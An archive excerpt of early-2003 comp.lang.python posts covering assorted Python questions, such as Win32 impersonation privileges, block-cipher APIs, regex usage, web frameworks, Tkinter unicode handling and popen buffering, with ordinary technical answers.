>I found a small bug which produced big errors in my last script......
Are you _sure_ you are not a participant factor in the evolution of
bugs (genus product testing), where those bugs producing the results
you want to see are favored in the "natural selection" process? ;-)

OTOH, I'm sure that in any case your numbers can be part of a
scientifically formulated nutritious breakfast ;-)

>
>I'm going to post the script in a seperate thread. Anyone who wants can hack
>it, perfect it, whatever, as long as you return it to the community.
>
>Basically, my date filter wasn't working well, so it grabbed the whole server.
>Now, the filtering of the date works, I believe. Here are the results, again
>for December 2002:
>
>Yeah! we beat Perl! (and are in third place)
>
;-)

Regards,
Bengt Richter



From max at alcyone.com  Sat Jan 25 20:42:02 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 25 Jan 2003 17:42:02 -0800
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <3E323B85.9DF6D032@alcyone.com> <b0ubqc$oiv$4@bob.news.rcn.net>
Message-ID: <3E333CEA.EDE2401D@alcyone.com>

"Aaron K. Johnson" wrote:

> Spam....hmmm.....don't know what kind of mechanism I could set up that
> would
> filter that easily, or without me blowing the script size to larger
> than I
> would want it to be....if you want to take over, I'd pass you the
> code!

Well, naturally.  I wasn't saying you should have taken spam into
account, but it is one of the many complicating factors that makes
turning the numbers you've collected into useful data that _measure_
something substantial about the language difficult.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Walk a mile in my shoes / And you'd be crazy too
\__/ Tupac Shakur
    Crank Dot Net / http://www.crank.net/
 Cranks, crackpots, kooks, & loons on the Net.



From mhammond at skippinet.com.au  Fri Jan 17 19:44:04 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Sat, 18 Jan 2003 00:44:04 GMT
Subject: Warning! Newbie issue - Impersonating a user on Win32
In-Reply-To: <mailman.1042842274.10085.python-list@python.org>
References: <mailman.1042650398.19724.python-list@python.org> <mailman.1042755331.3986.python-list@python.org> <3e273aac_6@corp-goliath.newsgroups.com> <mailman.1042842274.10085.python-list@python.org>
Message-ID: <or1W9.381$m47.2679@news-server.bigpond.net.au>

Doug Glenn wrote:
> On Thursday 16 January 2003 18:40, Roger Upole wrote:
> 
>>What error do you get when you try to adjust SE_TCB_NAME ?
> 
> 
> I have it working now. As is, it will not grant the SE_TCB_NAME, it had 
> to be done manually to the local policy.  I get a 1300 error attempting 
> to set it. Once I set the "act as operating system" to the appropriate 
> group it would work.  I do not know if this is set by a default 
> installation or not. I do know we don't have it set, and apparently our 
> policy does not remove it either.  I don't use Win2k at home to verify 
> what the default install would set it to.
> 
> If it is supposed to be able to set that, then that functionality no 
> longer works. At least in the version of ActivePython 2.2.2 from 
> ActiveState with the bundled version of the Pywin stuff. I can't 
> install the seperate version because it blows up Komodo unless I remove 
> it and reinstall the AS version :(
> 
> Obviously I would rather be able to grant the rights via the program. 
> Going through a policy change review at work to get it set is not a 
> workable solution just for this one app. 

A google search for LogonUserEx and AdjustTokenPrivileges will yield 
some results indicating this is a mess.

 From what I can see, only the LocalSystem account has this privilege, 
and a number of MS documents warn against enabling this for other 
accounts as it is a security risk.  People have even gone so far as to 
suggest the only acceptable way to do this is to write a service 
(running as LocalSystem) and have this go the grunt work.  Indeed, I 
believe this is exactly how MSI does it.

I would be very very surprised if you find this a Python issue, or that 
different (fairly recent) versions of the Win32 extensions behave 
differently.

Mark.




From frithiof.jensen at removethis.ted.ericsson.dk  Thu Jan 16 08:03:36 2003
From: frithiof.jensen at removethis.ted.ericsson.dk (Frithiof Andreas Jensen)
Date: Thu, 16 Jan 2003 14:03:36 +0100
Subject: Mixing Python and C: any easy way?
References: <CFN376368443311343@news.mindspring.com>
Message-ID: <b06a0g$750$1@newstoo.ericsson.se>

"Carl Bevil" <carl_bevil at yahoo.com> wrote in message
news:CFN376368443311343 at news.mindspring.com...

> So I've been looking into ways to easily interface the two languages.  The
> only thing I've turned up so far is SWIG.  Unfortunately it doesn't seem
to be
> as automated as I'd like.

It might well be easier to write the extension libraries by hand instead of
learning how to use a tool - at least for the first iteration!

The guide http://www.python.org/doc/current/ext/ext.html has a description
of the process - it is pretty "cookbook".





From maney at pobox.com  Mon Jan 20 00:51:09 2003
From: maney at pobox.com (Martin Maney)
Date: Mon, 20 Jan 2003 05:51:09 +0000 (UTC)
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0cugo$97r$1@panix2.panix.com> <i7KdnckAi6lfkLejXTWcog@comcast.com> <Z2DW9.1203$Sv3.158990@newsread1.prod.itd.earthlink.net> <mailman.1043010041.6455.python-list@python.org>
Message-ID: <b0g2od$nq9$1@wheel2.two14.net>

Jp Calderone <exarkun at intarweb.us> wrote:
>  "a b c".split(" ") makes sense.  " ".join(("a", "b", "c")) does, too.

Well, it certainly isn't completely senseless, no.

> ("a", "b", "c").join(" ") might make sense, but it would also involve
> writing a pile more code, and reducing the usefulness of the operation.

How does that reduce the usefulness?  Seems to me that it would allow
the restoration of the small conveninence of having a default
separator, as string.join() did.

> So why aim for consistency, when we can achieve usefulness instead?

Why do you think that it has to be either consistent or useful?



From phr-n2003b at NOSPAMnightsong.com  Wed Jan 29 11:04:38 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 29 Jan 2003 08:04:38 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com> <7x1y2wzpr0.fsf@ruckus.brouhaha.com> <mailman.1043816392.20156.python-list@python.org> <7xu1fsbj6b.fsf@ruckus.brouhaha.com> <mailman.1043841355.15738.python-list@python.org>
Message-ID: <7xn0lklz6x.fsf@ruckus.brouhaha.com>

Andrew McGregor <andrew at indranet.co.nz> writes:
> Um, there is such a module, it's called PyCrypto and is at at least
> revision 1.9.  I've used it to write a significant application, which
> interoperates with others using different libraries.  Nice C or even
> ix86 assembler ciphers, very, very fast.  It has an API feature I'd
> call essential that are not part of PEP 272 but is included in your
> proposal, that is the ability to change IV after creating a cipher,
> between uses of it.
> 
> It implements much more than PEP 272, including quite nice public key
> crypto (in pure python).

According to its homepage, PyCrypto is still in alpha test.  It's a
very complicated package compared to just implementing a couple of
block ciphers.  

Note that the code I released does include a set_iv operation in CBC
and CFB contexts that lets you change the IV.  I will update the docs
to make sure that gets mentioned.  

> I think that that module is mature enough to roll into the
> distribution as it is, or very close to it.  The documentation may
> need expanded a bit.

That would be great, it would remove the need for doing another
module.  AMK, if you're reading this, what do you think of the idea of
submitting it?



From skip at pobox.com  Wed Jan 22 22:24:41 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 22 Jan 2003 21:24:41 -0600
Subject: stripping characters with regex
In-Reply-To: <71650A6F73F1D411BE8000805F65E3CB3B3006@SRV-03>
References: <71650A6F73F1D411BE8000805F65E3CB3B3006@SRV-03>
Message-ID: <15919.24697.916906.485666@montanaro.dyndns.org>

    Jeff> I need urgent assistance. I'm cleaning up text strings containing
    Jeff> ' ,",\ and / characters which are giving an enormous headache.

How about

    re.sub(r"""[\\'"/]""", "", y)

Example:

    >>> s = r''' "\''"//\/' '''
    >>> s
    ' "\\\'\'"//\\/\' '
    >>> re.sub(r"""[\\'"/]""", "", s)
    '  '

Skip




From fbartletFIXIT at optonline.net  Thu Jan 23 18:29:27 2003
From: fbartletFIXIT at optonline.net (Frederick Bartlett)
Date: Thu, 23 Jan 2003 23:29:27 GMT
Subject: Can't Read a Lob via DCOracle2
References: <3E2EE589.2060009@optonline.net>
Message-ID: <3E307ACF.6050001@optonline.net>

Solved -- one has only to d/l the cvs tree and (re-)build it.

Thanks, Matt!




From lac at strakt.com  Mon Jan 13 10:31:42 2003
From: lac at strakt.com (Laura Creighton)
Date: Mon, 13 Jan 2003 16:31:42 +0100
Subject: python equiv of perl's split? 
In-Reply-To: Message from pete-temp-12-29-2002@kazmier.com 
   of "Mon, 13 Jan 2003 14:24:39 GMT." <m3k7h9p1p4.fsf@coco.kazmier.com> 
References: <m3k7h9p1p4.fsf@coco.kazmier.com> 
Message-ID: <200301131531.h0DFVgjL004990@ratthing-b246.strakt.com>

> Just wondering what the 'best' way of emulating perl's split() method
> when used in the following manner:
> 
>      split /(:)/
> 
> Basically, split the string using a colon as the separator.  NOTE: the
> parens indicate that the split function should *include* the colons in
> the returned list.  Thus, given the string:
> 
>      test:one:two:three
> 
> The following array (list) is returned:
> 
>      test
>      :
>      one
>      :
>      two
>      :
>      three
> 
> What would be the easiest way to emulate this in Python?
> 
> Thanks,
> Pete

This one is easy. :-)
>>> import re
>>> re.split("(:)", "test:one:two:three")
['test', ':', 'one', ':', 'two', ':', 'three']
>>> 
<wink>

Laura Creighton




From jbperez808 at yahoo.com  Sun Jan 26 00:33:32 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 25 Jan 2003 21:33:32 -0800
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
Message-ID: <f57664b9.0301252133.22c53e75@posting.google.com>

>From http://lists.free.net.ph/pipermail/python/2003-January/000381.html :

Ok, I've checked the majority of them out and 
Spyce gets my thumbs up.  I looked especially
closely at CherryPy and Quixote because the
2 looked the most promising initially.  

CherryPy 0.8
============
In spite of my enthusiastic first impression, I 
found CherryPy a bit too verbose and was not 
convinced that views/functions/masks were 
essential abstractions.  CherryPy also makes use
of templates which I later realized was something
I didn't want to deal with as much as possible.
CherryPy's unique feature is that your site
compiles down to a python script which is its
own server!  Pretty neat.  Now if they could
incorporate Medusa's ideas for boosting scalability
into the generated server...

Quixote 0.5.x
=============
I thought Quixote's code-centric style would be 
to my liking.  However, it had just enough complicated 
details that I decided to try my luck somewhere else.  
If there were not so many other choices, I'd probably 
have stuck it out with Quixote.  I didn't think it
was really all that hard to figure out and I had the 
gut feel there was a LOT of power under the hood, but 
I wanted something I could work with with as little 
new studying as possible.

Webware and Skunkweb
====================
I then decided to check out these two mainstays again.  
On doing so, I realized a key fact.  No matter how 
nice templates are, like I found PHP's Smarty
Templates to be, I realized in the end that they just 
get in the way of an experienced programmer who will 
always be able to do much better with straight code.

Skunkweb did not look like it had a good way of embedding
real Python code in HTML - relying pretty heavily on STML -
or at least that's the impression I got from its docs.  With
Webware, I remember being less than fully satisfied with PSP 
circa 0.4.x - the somewhat hard to read <% %> tags were one 
reason - so I had an excuse to check out the other 
alternatives.

Skunkweb's 'hype' makes it sound like it's the most reliably 
scalable of all the solutions... although I suspect that the
principles it uses will not be hard to apply to the others
with a little work.  

Spyce
=====
I was initially turned off by Spyce's "Hello World" example.
Those [[ and ]]s are not good for readability.  However, I 
found out that it had a [[\ operator which basically was an
escape to pure Python code and was exactly what I was looking 
for.

Spyce gives me the vanilla PHP-like functionality I want(*) -
the kind of straight Python-code embedding that PyHP, PyML, 
PMZ, Fenster provide except that these projects seem to have 
been abandoned.  Plus, upon closer inspection, Spyce seems 
to be quite mature and has evolved quite a few really nifty 
features.

(*) The only other 'living' alternative seems to be Webware's 
PSP... pls. correct me if I'm wrong...

I was somewhat turned off by the fact that the docs asked
me to install fastcgi before running it but the fact is that
Spyce will work with plain cgi.  Later on, I was sufficiently 
enamoured with Spyce that I even installed modpython and now 
that I plan to use it, may even upgrade to Apache 2.x so I 
can use modpython with my thread-enabled Python interpreter 
without worries.

Cheetah
=======
Another great bonus of Spyce is that it can work with Cheetah,
the one templating system which I felt like I could live with.
Instead of using hard-to-read < and >s, it uses $-prefixed 
variables.  Cheetah is its own templating project independent of 
any Python server-side project and seems to have grown quite
sophisticated.  It is intended to be a plug-in to Python
server-side solutions or stand-alone as a template processor
(say for static HTML generation).

I believe Cheetah is nice enough that it will prove useful one 
day even for someone like me who eschews templates for real 
code.

Performance and Reliability
===========================
My theory was that using a Python server-side solution meant 
I could just use kinterbasdb to access Firebird databases
the way I've been doing in my Linux client apps along.  This
is actually the reason I explored a Python server-side solution 
- I didn't want to experiment anymore with interfacing between 
PHP and Firebird.  After I got Spyce running, I quickly and
joyously confirmed that theory.

Now that I have a 3-tier setup, I can realistically examine
performance and reliability issues.

I made a simple spyce script to fetch a big result from a
Firebird DB.  It was a total cinch by the way, see code
below.  Python's DB-API kicks the excellent, now _formerly_
excellent, PHP ADODB's butt any day of the week/month/year.  
Let's not even talk about the native PHP MySQL or Interbase 
APIs.

==== kinterbasdb.spy =====
[[\
import kinterbasdb
con=kinterbasdb.connect(dsn="localhost:/path/to/data.gdb",
                        user="foo",password="bar")
cur=con.cursor()
cur.execute("select * from big_table")
results=cur.fetchall() ]]

<html><body><pre>[[ for r in results: print x ]]</pre></body></html>
===== end of kinterbasdb.spy ======

With Firebird on the same server as Apache and using
mod_python, performance felt decent (no hard figures
yet) at the very least.  mod_python looks like the way 
to go (even better than fastcgi) and could be a good 
excuse to upgrade to Apache 2.0.

Questions and more insights on issues - I'm especially
interested in python interpreter spawning differences
between mod_python and fastcgi, as well as Apache 1.3.x 
vs Apache 2.x pros and cons - very happily entertained.



From bvdpoel at kootenay.com  Fri Jan 24 22:54:16 2003
From: bvdpoel at kootenay.com (Bob van der Poel)
Date: Fri, 24 Jan 2003 20:54:16 -0700
Subject: tkinter + unicode + bug or feature??
References: <3E3185C3.90402@kootenay.com> <mailman.1043434578.25336.python-list@python.org> <3E319B8C.8020801@kootenay.com> <b0ssrc$mqt$00$1@news.t-online.com> <3E31F9ED.7090806@kootenay.com> <b0t0qj$76g$05$1@news.t-online.com>
Message-ID: <3E320A68.60008@kootenay.com>


Martin v. L?wis wrote:
> Bob van der Poel wrote:
> 
>> BTW, I really think this is a bug. If you enter "ascii" text into the 
>> entry box you get() returns a string, if you enter "extended ascii" 
>> you get a unicode string. And since one can't tell beforehand what the 
>> user is going to enter... Add to this the fact that the behaviour is 
>> not documented in the tkinter reference manual (yes, it is the tcl/tk 
>> manual).
> 
> 
> So what do you think the correct behaviour should be?

Well, since I work mostly in plain ascii, not unicode, I would think the 
correct behaviour would be to return a regular string <type 'str'>. I 
think this is what it was in tcl/tk pre-8.1. And if the community wanted 
to have unicode, that would be fine as well. But, the way it is now one 
never knows if one is going to get a <type 'unicode'> or a 'str'. And 
that isn't right, is it?

>> Well, yes. Being on the US-side (altho I do live in Canada and we're a 
>> bit less centric in our thinking) I was just referring to a "normal" 
>> encoding...whatever that is :)
> 
> 
> There is no such thing.
> 

Yes, as I would have figured if I'd given it any thought :)


>> Yes, local.getlocale() works fine. Now, if I do use encode on these 
>> strings, will I run into problems if the user's locale is not 
>> encodable into 8bits. Or can that not happen?
> 
> 
> Depends on what you mean by "8bits". You might have meant to ask
> 
> Q. Could it happen that the user enters characters that cannot be 
> represented in the 'normal encoding'?
> A. Yes, this can happen. If you merely want to compare this to another 
> byte string, you should decode that byte string to Unicode, and perform 
> the comparison then.
> 
> or you meant to ask
> 
> Q. Could it happen that the encoding produces more than one byte per 
> character.
> A. Yes, this can happen, but it is no problem.
> 
> or you meant to ask
> 
> Q. Will Python support 'normal encodings' that produce more than one 
> byte per character out of the box?
> A. No, Python does not ship with any such codecs (*). You should install 
> the JapaneseCodecs, KoreanCodecs, or ChineseCodecs package for that.

What I think I really meant to ask is:

If my program takes strings entered by a user in a Entry() widget and I 
take that data, convert it from a possible unicode string to the user's 
current locale, will the result always be a regular string? Really, what 
I'm trying to do is to avoid having my program crash when I do something 
like:

     a=entrywidget.get()
     if a == somestring:
        .....

Current, 'somestring' IS a regular string. And if 'a' is a unicode the 
program aborts. So, I'm planning on replacing get() with myget() which 
will just do:

     a=widget.get().encode(userEncoding)

Seems to be a bit of a waste to encode each and every get(), but it is 
probably just as fast to encode as it is to test to see if it is a str.

And we're sure there isn't a tcl/tk setting to take of this???




-- 
Bob van der Poel ** Wynndel, British Columbia, CANADA **
EMAIL: bvdpoel at kootenay.com
WWW:   http://www.kootenay.com/~bvdpoel





From lac at strakt.com  Thu Jan 30 18:22:27 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 31 Jan 2003 00:22:27 +0100
Subject: Which exception has been used? (was: Which exception to use?) 
In-Reply-To: Message from claird@lairds.com (Cameron Laird) 
   of "Thu, 30 Jan 2003 22:43:15 GMT." <v3jak3of0o8ga2@corp.supernews.com> 
References: <b16lui$j3s$1@bob.news.rcn.net> <mailman.1043786834.24179.python-list@python.org> <7h3y954ywdw.fsf@pc150.maths.bris.ac.uk> <v3jak3of0o8ga2@corp.supernews.com> 
Message-ID: <200301302322.h0UNMSjL002546@ratthing-b246.strakt.com>

<snip>

> Suppose, as is always true, though, that I'm dealing
> with modules not under my control.  How do I catch
> "other"?  There must be something I'm missing about
> the new type and exception systems, 'cause I don't 
> see a Pythonic way to write
>   ....
>   except OTHER, e:
>       # The foreign code threw an exception of
>       #    a type I don't recognize, but I need
>       #    to process/log/... 'e'.
>       cope(e)
> Yes, I can write
>   ....
>   except:
>       cope()
> but then I've lost the information I want in 'e'.

 It is sitting around in  sys.exc_info(). Grab it before another exception
 happens. 

> 
> Cameron Laird <Cameron at Lairds.com>
> Business:  http://www.Phaseit.net
> Personal:  http://phaseit.net/claird/home.html
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Laura






From mwh at python.net  Thu Jan 16 09:52:31 2003
From: mwh at python.net (Michael Hudson)
Date: Thu, 16 Jan 2003 14:52:31 GMT
Subject: unicode positions of characters
References: <3E26B008.4F281CD@gol.ge>
Message-ID: <7h3n0m1no39.fsf@pc150.maths.bris.ac.uk>

Giorgi Lekishvili <gleki at gol.ge> writes:

> Could somebody tell me how can I get the unicode hexadecimals of chars?
> e.g., 'char'  --> xyzv
> The idea is that I have to get a position of a latin char, and shift it
> withe a preset offset to get a new letter of another alfabet.

unichr(offset + ord(u'\N{latin small letter e}'))?

Cheers,
M.

-- 
  Ability to type on a computer terminal is no guarantee of sanity,
  intelligence, or common sense. 
                                 -- Gene Spafford's Axiom #2 of Usenet



From johnroth at ameritech.net  Wed Jan 15 20:50:58 2003
From: johnroth at ameritech.net (John Roth)
Date: Wed, 15 Jan 2003 20:50:58 -0500
Subject: ...so would aliases be a bad idea? (Re: references / aliases in Python)
References: <f57664b9.0301141544.1f797188@posting.google.com> <lSdV9.2821$YI5.1170@news2.central.cox.net> <f57664b9.0301151625.65069704@posting.google.com>
Message-ID: <v2c3uc8jjn859f@news.supernews.com>

"Jonathan P." <jbperez808 at yahoo.com> wrote in message
news:f57664b9.0301151625.65069704 at posting.google.com...
> > The Python philosophy regarding poiner types is simple: there aren't
any.
> > Names are references to values. Attributes of objects are references
to
> > values. Elements of dictionaries, lists and tuples are references to
values.
> > Values do not have names, they are simply bound by assignment (to
names,
> > attributes of objects, or elements of dictionaries, lists and
tuples). Each
> > value (object) has an associated reference counter, incremented and
> > decremented automatically as references are created and destroyed.
When an
> > object's reference count reaches zero it becomes a candidate for
garbage
> > collection. Special features allow collection of "cyclic garbage" to
handle
> > the cases where a set of objects refer only to each other.
>
> So if one allows 2 different names to bind to the exact same object,
> would that be a bad idea?  There are many situations where one
> would like a shorter name to bind to an object which might otherwise
> be only referrable to only by a very long chain of attributes.

One frequently has multiple names bound to the same object.
That's why objects have a reference count, after all. If you could only
bind an object to one name, you wouldn't need a count at all.

In a very real sense, all names are pointer types. If you want to
go further, you can get a very nice pointer type with a one element
list or tuple. The difference between a 'binding' and a 'pointer' in
this context is purely the way they are spelled.

Now aliasing two names for purposes of making the code shorter
is a different issue: one of code clarity rather than something required
by the algorithm you happen to be using.

My own feeling is that if you need to refer to many attributes of
an object you've probably got your hooks too deeply into the
internals of an object, and should think of a way to do whatever
you're doing with less coupling.

John Roth







From phr-n2003b at NOSPAMnightsong.com  Sat Jan 25 18:16:06 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 25 Jan 2003 15:16:06 -0800
Subject: Generating Unique Keys
References: <1043511783.4939.1.camel@refugeeMedia> <15922.49110.110304.235838@montanaro.dyndns.org> <mailman.1043515846.16890.python-list@python.org> <3E32E6EF.AA8C5A69@engcorp.com> <iRCY9.146$qb1.126@nwrddc01.gnilink.net> <1043531013.4964.14.camel@refugeeMedia> <mailman.1043532587.26657.python-list@python.org>
Message-ID: <7x7kcses7d.fsf@ruckus.brouhaha.com>

Mongryong <Mongryong at sympatico.ca> writes:
> > Even with a 'randomly' generated session key, a malicious user can still
> > steal the session key of a active user.  Is there an algorithm or
> > solution to this security risk? 
> 
> Well, I guess encryption (HTTPS) is the best answer.  Is it the only
> answer?

Pretty much so, if you're worried about someone intercepting your IP
traffic.  Usually it's only worth doing that if you're moving
confidential info (financial, email, etc.) over the web connection.



From tjreedy at udel.edu  Sun Jan 26 16:21:35 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sun, 26 Jan 2003 16:21:35 -0500
Subject: cleanup questions?
References: <b11eg4$rt3$1@news.tuwien.ac.at>
Message-ID: <4rmdne8Lg7S6zqmjXTWcqg@comcast.com>

"h?non" <meinrad.recheis at gmx.at> wrote in message
news:b11eg4$rt3$1 at news.tuwien.ac.at...
> hi, i have two questions:
>
> 1) How do i get a list of all existing (previously generated)
objects in the
> interpreters namespace?
>     and is there a command to clean them all up?

By "interpreter's namespace" I presume you mean not the C namespace of
CPython, but the namespace of the currently executing __main__ module.
There is no such command (other than sys.exit(8-)).  You have to
(carefully) delete one thing at a time:

# add something
a,b=1,2
dir()
#['__builtins__', '__doc__', '__name__', 'a', 'b']

import __main__
for w in dir():
  if w not in ['__builtins__', '__name__', '__main__']:
    delattr(__main__, w)

delattr(__main__, 'w')
delattr(__main__, '__main__')
dir()
#['__builtins__', '__name__']
# Assume __doc__ not really needed, but code may depend on these two.

Terry J. Reedy





From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Fri Jan 24 10:23:27 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Fri, 24 Jan 2003 16:23:27 +0100
Subject: killing thread ?
In-Reply-To: <b0rkdb$g9l$01$1@news.t-online.com>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com>
Message-ID: <3e3158fb$0$49108$e4fe514c@news.xs4all.nl>

Martin v. L?wis wrote:
> Uwe Schmitt wrote:
> 
>> But what if I want to end a thread which hangs because
>> it uses 'exec' on some code which loops forever ?
> 
> 
> You lose. There is no way to cancel a thread, period.
> 

Can't you cheat on linux by sending SIGKILL to the thread's PID?? ;-)

Irmen




From cben at techunix.technion.ac.il  Thu Jan  9 14:29:58 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Thu, 9 Jan 2003 21:29:58 +0200
Subject: best college for computer science major
In-Reply-To: <%LbT9.1154$pq3.71245964@newssvr21.news.prodigy.com>
References: <3e1ba232_6@nopics.sjc> <ef7a350b.0301081249.232b8746@posting.google.com>
 <mailman.1042095148.4015.python-list@python.org>
 <%LbT9.1154$pq3.71245964@newssvr21.news.prodigy.com>
Message-ID: <Pine.GSO.4.44_heb2.09.0301092123330.18142-100000@techunix.technion.ac.il>

On 2003-01-09, Van Gale wrote:

> [...] Or maybe you think there should be 15 million "best" ways to teach
> computer science so that we can all have different individual approaches
> to programming.Each of us should invent our own programming language and
> only use that?
>
That would be fun <wink>.  But you seem to suggest that each person should
invent just a single language; I must disagree here.

> The original statement is debatable.I think there can be differences.  The
> school I attended had a single lowly VAX with barely enough disk space for
> projects of any size.I had to erm... use modem banks at major universities
> to get access to Arpanet.My school didn't even know what Arpanet was and
> finally got a "shared connect?on" somehow with Carnegie-Mellon in the mid
> 90's.In other words they had pity on us and gave us a sliver of their
> bandwidth.Instead of using BSD if I went to Berkeley for example, I had to
> use VMS with DEC BASIC as the only installed language.Of course I was
> reasonably happy about that because many large universities were still
> pushing FORTRAN and PL/I on IBM mainframes.
>
This examples makes trusting every person to invent a good language look
favorable to trusting the school to to teach a good existing language.

compulsively-language-designing-ly y'rs,
    Beni Cherniavsky <cben at tx.technion.ac.il>

Holy resolution for a holy war: the Torah stores most numbers as
little-endian (e.g. "seven and twenty and a hundred years")!




From phr-n2003b at NOSPAMnightsong.com  Fri Jan 31 01:51:54 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 30 Jan 2003 22:51:54 -0800
Subject: ActiveX Spy utility?
References: <dvo_9.3024$0L3.2150473@news2.news.adelphia.net>
Message-ID: <7x4r7pdd6d.fsf@ruckus.brouhaha.com>

"Robert Oschler" <no_replies at fake_email_address.invalid> writes:
> Has anybody seen a utility that will let you see the calls being made by an
> ActiveX control client?  For an ActiveX control client where you don't have
> the source for the client.  Something for ActiveX calls that would be like
> the MSVC studio Spy++ utility does for Windows API calls.

You know, I sort of remember seeing something like that during a time
when I actually had to mess with ActiveX controls (ugh!).  I've mostly
repressed the memory now.  

Anyway, the obvious approach is to build some kind of proxy object
that sits between the client and the ActiveX control that it's trying
to call.  You can replace the registry entry for the target GUID and
have it point to your own object that intercepts the calls before
possibly passing them on to the real object, sort of like a TSR.  We
actually thought of building our application to work that way, but
thankfully we found other methods.




From phr-n2002b at NOSPAMnightsong.com  Tue Jan 14 20:51:05 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 14 Jan 2003 17:51:05 -0800
Subject: Desperately seeking programmer who knows python and Visual basic!
References: <30ce357a.0301141655.133c00fc@posting.google.com>
Message-ID: <7xn0m36v06.fsf@ruckus.brouhaha.com>

hockeymike at houston.rr.com (hockeymike) writes:
> Could someone please translate the following statement from Python to
> its equivalent in Visual Basic please??

Um, comp.lang.python is sort of the wrong newsgroup, since most Python
users won't know VB.  I don't know VB but remember some regular
old-fashioned BASIC.  I assume you meant

    points = 0
    for level in range(1,100):
       diff = int(level + 300 * math.pow(2, float(level)/7) )
       points += diff
       str = "Level %d = %d" % (level + 1, points / 4)
       print str
 
(Python knows where the loop begins and ends from the indentation, so
the whitespace is significant).  In BASIC this would be

    points = 0
    for level = 1 to 100
      diff = level + 300 * 2^(level / 7)
      points = points + diff
      print "Level"; level+1; points / 4
    next level

Note that the "diff" formula in Python is messier than it needs to be.
Whoever wrote the Python code could have written it roughly the same
way as the Basic statement shown.



From cout at netvigator.com  Fri Jan 17 05:06:01 2003
From: cout at netvigator.com (cout)
Date: Fri, 17 Jan 2003 18:06:01 +0800
Subject: help!! getting output from another process line by line, using popen
Message-ID: <b08ka1$q8l8@imsp212.netvigator.com>

Help!!

There are 2 python scripts, one is to print out the output(output.py),
the other is supposed to get std output from output.py line by line.
However, it only get all the result after 40 seconds. Not during the
executing process. Any ideas?

===========output.py==============
#! /usr/bin/python

import time

for i in range(1,20,1):
         print i
         time.sleep(2)

================monitor.py===============
#! /usr/bin/python

import os
import sys, string
cmd="python output.py"

handle = os.popen(cmd, 'r', 1)
for line in handle:
     print line,
handle.close()




From grante at visi.com  Tue Jan  7 21:40:57 2003
From: grante at visi.com (Grant Edwards)
Date: 08 Jan 2003 02:40:57 GMT
Subject: Is it really good?
References: <3E1A9A0F.6020306@envision.co.il> <mailman.1041983572.25078.python-list@python.org> <slrnb1n3p0.n2l.grante@localhost.localdomain>
Message-ID: <slrnb1n45l.n4f.grante@localhost.localdomain>

In article <slrnb1n3p0.n2l.grante at localhost.localdomain>, Grant Edwards wrote:
> In article <mailman.1041983572.25078.python-list at python.org>, Skip Montanaro wrote:
>> 
>>     Nadav> Can someone explain why python does not raise NameError in the
>>     Nadav> first test line b[e]low.
>> 
>>     >>> 2 == 3 is good
>>     0     # ????????????????????????
>> 
>> Chained operations.  The above expression is effectively
>> 
>>     (2 == 3) and (3 is good)
>>
>> The first is false, so the second is never evaluated.
> 
> Why do you say that?
> 
> That logic would seem to indicate that
>  
>   0 is 0
>   
> should false, since the first term is false, the "is" short-circuits and
> returns false. It doesn't:

Never mind...  I missed the whole chained operations point completely.  I
have a really hard time remembering that

  2 == 3 is good
  
evaluates as _neither_

  (2 == 3) is good
nor
  2 == (3 is good)


> All this still doesn't explain why
> 
>  (2==3) is good
>  
> doesn't evaluate the right hand side of the "is".... 

Except that it does:

>>> (2 == 3) is good
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
NameError: name 'good' is not defined

-- 
Grant Edwards                   grante             Yow!  Do I hear th'
                                  at               SPINNING of various
                               visi.com            WHIRRING, ROUND, and WARM
                                                   WHIRLOMATICS?!



From mwm at mired.org  Wed Jan 22 12:55:57 2003
From: mwm at mired.org (Mike Meyer)
Date: Wed, 22 Jan 2003 17:55:57 GMT
Subject: Communication between two programs on unix
References: <b0kvs0$o59$1@bob.news.rcn.net>
Message-ID: <x73cnl2hn8.fsf@guru.mired.org>

[Formatting fixed.]

morden <morden at shadows.net> writes:

> I want to connect the standard output of the tkinter app to the
> stdin of the motif app to return results and connect stdout of motif
> app to the input of the tkinter app. Is that doable? I suppose this
> is what os.popen will do. Right?

Yes, it's doable. No, that's not what os.popen does. popen returns a
file object that communications with the standard input OR ouput of
the command, but not both.

To get both, you want to use popen2, or maybe popen3 or popen4,
depending on what should happen to standard error.

> Scenario #1: I run my tkinter program with no flags and it
> 	popens motif app it should communicate with
> 
> Scenario #2: I connect to a remote system using 'cu' from uucp package
> 	and run a unix app there communicating to my tkinter app spawned
> 	with ~+ sequence in cu (that's what you use to run rz/sz over
> cu session, right?)
> 
>
> Scenario #3: I use ssh to get into a remote system and run a unix
